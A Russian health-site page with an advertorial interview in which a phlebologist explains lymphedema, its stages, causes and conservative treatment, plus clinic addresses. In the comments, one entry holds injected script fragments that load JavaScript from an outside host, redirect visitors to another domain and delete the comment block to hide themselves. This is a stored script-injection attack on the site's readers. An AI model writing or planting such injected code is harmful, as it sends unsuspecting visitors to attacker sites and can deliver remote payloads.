Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как отличить болезнь от п...  >>  Как отличить болезнь от простого отека
 
Обратная связь
 

Как отличить болезнь от простого отека

Размер шрифта
02 апреля 2012 18:04
  • google_analytics: false
  • Нравится

Проблемы с ногами связаны не только с кровеносными, но и лимфатическими сосудами. Не исключено, что банальный отек может оказаться симптомом серьезной болезни – лимфедемы. О том, что такое лимфедема и как с ней бороться, рассказывает заведующий отделением лимфологии «Центра Флебологии», хирург-флеболог Евгений Сергеевич Сильчук.

– Для чего вообще в организме нужны лимфатические сосуды?

Продукты жизнедеятельности наших клеток должны как-то удаляться из организма. Эту транспортную задачу и выполняют лимфатические сосуды, которые собирают межклеточную жидкость и поднимают ее в верхнюю часть туловища, где впадают в венозную систему.

– А что такое лимфедема? Эта болезнь как-то связана с варикозом?

Нет, это отдельное заболевание. Впрочем, варикоз и лимфедема – болезни, которые очень взаимосвязаны. Нередко врачи даже ставят общий диагноз «хроническая лимфовенозная недостаточность». К сожалению, сейчас проблемы с лимфатической системой достаточно часто встречаются, особенно среди женщин. Женщины сталкиваются с лимфедемой в пять раз чаще. 

– Как проявляется лимфедема?

Лимфедема, лимфостаз, слоновость – эту болезнь по-разному называют. Лимфедема возникает постепенно, приводит к сильным отекам тела и последующим осложнениям. Можно выделить несколько стадий болезни:

  • Начальная – к вечеру на ногах появляются отеки, которые к утру проходят, Обычно люди не придают им большого значения.
  • Развиваясь, заболевание становится более тяжелым, отеки становятся стойкими и не исчезают. 
  • Могут начаться и трофические нарушения (язвы, дерматит, экзема).

– А что вызывает лимфедему?

Лимфедемы делят на врожденные и приобретенные. Если во время внутриутробного развития лимфатические сосуды неправильно сформировались, то с первых же дней после рождения у ребенка могут начаться сильные отеки. Иногда врожденная лимфедема проявляется только в период полового созревания – ее провоцирует гормональная перестройка организма. В редких случаях врожденная лимфедема может проявиться еще позже – в 35-40 лет, когда с возрастом начинаются изменения соединительной ткани, которые приводят к сужению лимфатических сосудов. Неважно, в каком возрасте первичная лимфедема проявилась, в любом случае это очень серьезное заболевание, требующее комплексного лечения.

 Допустим, в свое время сосуды сформировались правильно, значит, можно уже ничего не бояться?

Увы, нет. Значительно чаще врожденных встречаются приобретенные лимфедемы. Обычно их причиной становится перенесенное кожаное заболевание. Кроме того, лимфедему могут вызвать онкологические заболевания, гинекологические проблемы, воспаления органов малого таза у женщин. Нередко лимфедема возникнуть в результате травмы или неудачной операции на ноге, например, когда при удалении варикозно-измененной вены происходит повреждение крупного лимфатического сосуда.

Существуют и дополнительный факторы, повышающие риск развития лимфедемы: сидячая или стоячая работа, малоподвижный образ жизни, слишком тесная обувь, высокие каблуки.

– Как понять, что у меня, простой отек или лимфедема?

Диагностировать лимфедему должен не пациент, а врач. Однако если отеки, возникающие вечером, не исчезают к утру, если в местах отеков начинает изменяться кожа, то велика вероятность, что это лимфедема. Иногда отеки начинают возникать без видимых причин. Бывали случаи, когда ко мне приходили пациентки и жаловались: «Доктор, стоит мне воды попить, сразу начинают ноги отекать». Это тоже явный сигнал, что нужно как можно скорее идти к врачу, чтобы выяснить, в чем проблема.

– Какие существуют методики лечения лимфедемы?

Надо сказать, что многие врачи не любят иметь дело с лимфедемой. Это очень сложное заболевание, требующее комплексного лечения, заниматься им трудно. Вообще, медицинских центров, специализирующихся на заболеваниях лимфатических сосудов, в России очень мало.

 Как вы лечите эту болезнь?

Лекарственные препараты в лечении лимфедем используются редко. Намного важнее разного рода физиотерапевтические процедуры. Лимфедема требует комплексного подхода при терапии, в нашей клинике мы всегда используем одновременно несколько методов лечения для каждого пациента.

Я бы выделил три основных компонента в подобной комплексной терапии.

  • Во-первых, ручной лимфодренирующий массаж, который проводят медсестры или даже сами доктора.
  • Во-вторых, аппаратный лимфодренаж – специальные пневомопрессы действуют на ткани ног с тем, чтобы уменьшить отечность, улучшить циркуляцию лимфы.
  • В-третьих, при лечении активно используются бандажирование, когда ноги пациента многократно обматывают специальными бинтами.

– Как все сложно…

Комплексный подход к лечению требует определенных усилий не только от врача, но и от больного. Бывает так, что обращается пациент, который с одной стороны, хочет избавиться от болезни, с другой стороны, не хочет долго ходить в бинтах. Это же не так уж легко, особенно летом. Пациент отказывается ходить в бинтах и требует, чтобы его лечили какими-нибудь другими методами. Конечно, врач может обойтись и без бинтования, но нельзя забывать, что тогда эффективность лечения сразу снизится. Однако если пациент настроен серьезно и действительно хочет добиться результатов, лечение обязательно будет эффективным.

– Как происходит лимфодренаж?

Сначала проводится ручной массаж ног: сначала ногу массируют сверху вниз, чтобы дать расшириться лимфопротокам, потом, наоборот, снизу вверх, чтобы убрать отек. Затем наступает очередь аппаратного лимфодренажа: пациенту на ноги надевают специальные чулки или даже целый комбинезон, который присоединен к аппарату, который по специальной программе нагнетает воздух, чтобы то сжимать, то разжимать ногу, тем самым сгоняя отек. После того, как эти процедуры закончились, важно зафиксировать результат, аккуратно забинтовав ноги.

 Долго длится лечение?

Мы рекомендуем эти процедуры проводить ежедневно или через день. Всего требуется 8-10 таких сеансов. Обычно ближе к концу курса лечения производится замер ноги и подбирается специальный лечебный компрессионный трикотаж, который затем заменяет бинтование. Здесь тоже требуется сознательность пациента, ведь сразу после курса носить такие чулки или колготы достаточно трудно. Однако тот, кто проявит стойкость, будет сполна вознагражден, потому что если соблюдать все предписания врача, болезнь отступит.

– Можно ли полностью вылечить лимфедему?

Полностью излечить лимфедему, как и варикоз, невозможно. Но тут очень важно не запускать болезнь, контролировать её, потому что если не лечиться, то можно заработать очень серьезные осложнения, по сравнению с которыми даже тяжелые отеки покажутся сущим пустяком. Например, сейчас у нас лечиться пациентка из Гвинеи. У нее такой запущенный случай болезни, что ей нигде не могли или не хотели оказать помощь, пришлось ехать к лимфологу в далекую Россию. В свое время она не лечила лимфедему, и сейчас у нее развилась слоновость, когда нога начинает очень сильно распухать, развивается фиброз, подкожная клетчатка становится, грубо говоря, дубовой, на коже появляются трофические язвы. Она уже два месяца у нас лечится, и к счастью результаты очень хорошие: уменьшился отек, удалось снять воспалительный процесс. Сейчас мы заказали ей специальный лечебный трикотаж, надеюсь, что когда он будет готов, ее жизнь станет намного комфортнее.

– Наверное, такие запущенные случаи все же редкость…

К счастью, да. Но вообще очень многие люди не слишком серьезно относятся к своему здоровью и предпочитают игнорировать болезнь вместо того, чтобы идти к врачу. Или другая история: человек много лет страдал от варикозного расширения вен на ногах, ему делают операцию, и он, решив, что все проблемы позади, перестает заботиться о своем здоровье и буквально через несколько лет приходит к рецидиву болезни. 

– Можно ли вылечить лимфедему с помощью операции?

Существуют и оперативные методы лечения лимфедемы, однако мой опыт, а также опыт моих коллег, с которыми мы регулярно обсуждаем эти проблемы на научных конференциях, показывает, что консервативные методы предпочтительнее. Бывают редкие случаи, когда без операции не обойтись, например, когда в результате травмы пострадал крупный лимфатический сосуд. Во всех остальных случаях я бы не рекомендовал делать операцию. Консервативные методы лечения лимфедемы – это общемировая тенденция.

Куда обратиться с болезнями вен

«Центр Флебологии» - специализированная клиника по лечению и профилактике варикозной болезни

г. Москва 
м.Спортивная, ул. 10-летия Октября, д. 9 
м.Смоленская, пер. Сивцев Вражек, д. 45, стр.1 
м.Бауманская, ул. Радио, д. 10, стр.9 
тел.: (495) 925-75-11 

г. Санкт-Петербург 
ул. Комсомола, д. 14, этаж 2 
Невский пр-т, д. 111 
тел.: (812) 448-47-48

г. Екатеринбург 
ул. Шейнкмана, 111 
тел.: (343) 38-48-001

г. Нижний Новгород 
ул. Советская, д. 18 
тел.: (831) 249-43-07

г. Калининград

ул. Клубная, д.11

тел.: (4012) 57-34-66, 57-40-71

Статья опубликована на правах рекламы
  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Лечение варикоза. Что важно знать при выборе клиники?   Варикоз. Распознаем и лечим   5 заблуждений о варикозе   Как избавиться от варикозных вен? Кратко о самом главном  

Слайдшоу

1
Самые стыдные вопросы о красоте. Часть 2
Как сохранить красоту ног?
Как избавиться от варикоза. Лазер

Тесты

Есть ли у вас варикозное расширение вен?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.